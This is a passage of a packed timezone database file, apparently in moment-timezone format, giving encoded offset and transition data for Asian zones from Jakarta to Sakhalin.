1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WO0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 Xc0 1qo0 WM0 1qM0 11A0 1o00 1200 1nA0 11A0 1tA0 U00 15w0|13e6","Asia/Jakarta|LMT BMT +0720 +0730 +09 +08 WIB|-77.c -77.c -7k -7u -90 -80 -70|012343536|-49jH7.c 2hiLL.c luM0 mPzO 8vWu 6kpu 4PXu xhcu|31e6","Asia/Jayapura|LMT +09 +0930 WIT|-9m.M -90 -9u -90|0123|-1uu9m.M sMMm.M L4nu|26e4","Asia/Jerusalem|LMT JMT IST IDT IDDT|-2k.S -2k.E -20 -30 -40|012323232323232432323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232|-3D8Ok.S 1wvA0.e SyOk.E MM0 iM0 4JA0 10o0 1pA0 10M0 1pA0 16o0 1jA0 16o0 1jA0 3LA0 Eo0 oo0 1co0 1dA0 16o0 10M0 1jc0 1tA0 14o0 1cM0 1a00 11A0 1Nc0 Ao0 1Nc0 Ao0 1Ko0 LA0 1o00 WM0 EQK0 Db0 1fB0 Rb0 bXB0 gM0 8Q00 IM0 1wo0 TX0 1HB0 IL0 1s10 10n0 1o10 WL0 1zd0 On0 1ld0 11z0 1o10 14n0 1o10 14n0 1nd0 12n0 1nd0 Xz0 1q10 12n0 1hB0 1dX0 1ep0 1aL0 1eN0 17X0 1nf0 11z0 1tB0 19W0 1e10 17b0 1ep0 1gL0 18N0 1fz0 1eN0 17b0 1gq0 1gn0 19d0 1dz0 1c10 17X0 1hB0 1gn0 19d0 1dz0 1c10 17X0 1kp0 1dz0 1c10 1aL0 1eN0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1oL0|81e4","Asia/Kabul|LMT +04 +0430|-4A.M -40 -4u|012|-3eLEA.M 2dTcA.M|46e5","Asia/Kamchatka|LMT +11 +12 +13|-ay.A -b0 -c0 -d0|012323232323232323232321232323232323232323232323232323232323212|-1SLKy.A ivXy.A 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 IM0 rX0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 2sp0 WM0|18e4","Asia/Karachi|LMT +0530 +0630 +05 PKT PKST|-4s.c -5u -6u -50 -50 -60|012134545454|-2xoss.c 1qOKW.c 7zX0 eup0 LqMu 1fy00 1cL0 dK10 11b0 1610 1jX0|24e6","Asia/Kathmandu|LMT +0530 +0545|-5F.g -5u -5J|012|-21JhF.g 2EGMb.g|12e5","Asia/Khandyga|LMT +08 +09 +10 +11|-92.d -80 -90 -a0 -b0|0123232323232323232323212323232323232323232323232343434343434343432|-21Q92.d pAp2.d 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 IM0 rX0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 qK0 yN0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 17V0 7zD0|66e2","Asia/Krasnoyarsk|LMT +06 +07 +08|-6b.q -60 -70 -80|01232323232323232323232123232323232323232323232323232323232323232|-21Hib.q prAb.q 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 IM0 rX0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 8Hz0|10e5","Asia/Kuala_Lumpur|LMT SMT +07 +0720 +0730 +09 +08|-6T.p -6T.p -70 -7k -7u -90 -80|01234546|-2M0ST.p aIM0 17anT.p l5XE 17bO 8Fyu 1so10|71e5","Asia/Macau|LMT CST +09 +10 CDT|-7y.a -80 -90 -a0 -90|012323214141414141414141414141414141414141414141414141414141414141414141|-2CFHy.a 1uqKy.a PX0 1kn0 15B0 11b0 4Qq0 1oM0 11c0 1ko0 1u00 11A0 1cM0 11c0 1o00 11A0 1o00 11A0 1oo0 1400 1o00 11A0 1o00 U00 1tA0 U00 1wo0 Rc0 1wru U10 1tz0 U10 1tz0 U10 1tz0 U10 1wn0 Rd0 1wn0 Rd0 1wn0 U10 1tz0 U10 1tz0 17d0 1cK0 1cO0 1cK0 1cO0 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 s10 1Vz0 1cN0 1cL0 1cN0 1cL0 6fd0 14n0|57e4","Asia/Magadan|LMT +10 +11 +12|-a3.c -a0 -b0 -c0|012323232323232323232321232323232323232323232323232323232323232312|-1Pca3.c eUo3.c 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 IM0 rX0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 8Hz0 3Cq0|95e3","Asia/Makassar|LMT MMT +08 +09 WITA|-7V.A -7V.A -80 -90 -80|01234|-21JjV.A vfc0 myLV.A 8ML0|15e5","Asia/Manila|LMT LMT PST PDT JST|fU -84 -80 -90 -90|01232423232|-54m84 2clc0 1vfc4 AL0 cK10 65X0 mXB0 vX0 VK10 1db0|24e6","Asia/Nicosia|LMT EET EEST|-2d.s -20 -30|01212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121|-1Vc2d.s 2a3cd.s 1cL0 1qp0 Xz0 19B0 19X0 1fB0 1db0 1cp0 1cL0 1fB0 19X0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1fB0 1cL0 1cN0 1cL0 1cN0 1o30 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|32e4","Asia/Novokuznetsk|LMT +06 +07 +08|-5M.M -60 -70 -80|012323232323232323232321232323232323232323232323232323232323212|-1PctM.M eULM.M 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 IM0 rX0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 2sp0 WM0|55e4","Asia/Novosibirsk|LMT +06 +07 +08|-5v.E -60 -70 -80|0123232323232323232323212323212121212121212121212121212121212121212|-21Qnv.E pAFv.E 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 IM0 rX0 1cM0 1cM0 ml0 Os0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 8Hz0 4eN0|15e5","Asia/Omsk|LMT +05 +06 +07|-4R.u -50 -60 -70|01232323232323232323232123232323232323232323232323232323232323232|-224sR.u pMLR.u 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 IM0 rX0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 8Hz0|12e5","Asia/Oral|LMT +03 +05 +06 +04|-3p.o -30 -50 -60 -40|01232323232323232424242424242424242424242424242|-1Pc3p.o eUop.o 23CK0 3Db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 2pB0 1cM0 1fA0 1cM0 1cM0 IM0 1EM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0|27e4","Asia/Pontianak|LMT PMT +0730 +09 +08 WITA WIB|-7h.k -7h.k -7u -90 -80 -80 -70|012324256|-2ua7h.k XE00 munL.k 8Rau 6kpu 4PXu xhcu Wqnu|23e4","Asia/Pyongyang|LMT KST JST KST|-8n -8u -90 -90|012313|-2um8n 97XR 1lTzu 2Onc0 6BA0|29e5","Asia/Qostanay|LMT +04 +05 +06|-4e.s -40 -50 -60|012323232323232323232123232323232323232323232323|-1Pc4e.s eUoe.s 23CL0 3Db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 IM0 rX0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0|","Asia/Qyzylorda|LMT +04 +05 +06|-4l.Q -40 -50 -60|01232323232323232323232323232323232323232323232|-1Pc4l.Q eUol.Q 23CL0 3Db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 3ao0 1EM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 zQl0|73e4","Asia/Rangoon|LMT RMT +0630 +09|-6o.L -6o.L -6u -90|01232|-3D8So.L 1BnA0 SmnS.L 7j9u|48e5","Asia/Sakhalin|LMT +09 +11 +12 +10|-9u.M -90 -b0 -c0 -a0|01232323232323232323232423232323232424242424242424242424242424242|-2AGVu.M 1BoMu.M 1qFa0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 